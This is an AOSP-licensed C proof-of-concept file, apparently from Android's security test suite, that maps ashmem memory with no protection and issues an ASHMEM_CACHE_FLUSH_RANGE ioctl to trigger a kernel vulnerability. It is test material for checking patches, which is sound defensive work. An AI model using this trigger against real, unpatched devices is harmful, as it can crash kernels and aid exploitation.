1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define _GNU_SOURCE
18 #include <fcntl.h>
19 #include <sys/ioctl.h>
20 #include <sys/mman.h>
21 #include <stdio.h>
22 #include "local_poc.h"
23
24
main()25 int main() {
26 int fd;
27 int ret;
28 uint64_t mmap_ret;
29
30 fd = open("/dev/ashmem", 0, 0);
31 if (fd < 0) {
32 return -1;
33 }
34
35 ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000);
36 if (ret < 0) {
37 return -1;
38 }
39
40 mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/,
41 0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/);
42 if (mmap_ret == MAP_FAILED) {
43 return -1;
44 }
45
46 ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL);
47 if (ret < 0) {
48 return -1;
49 }
50 return 0;
51 }
52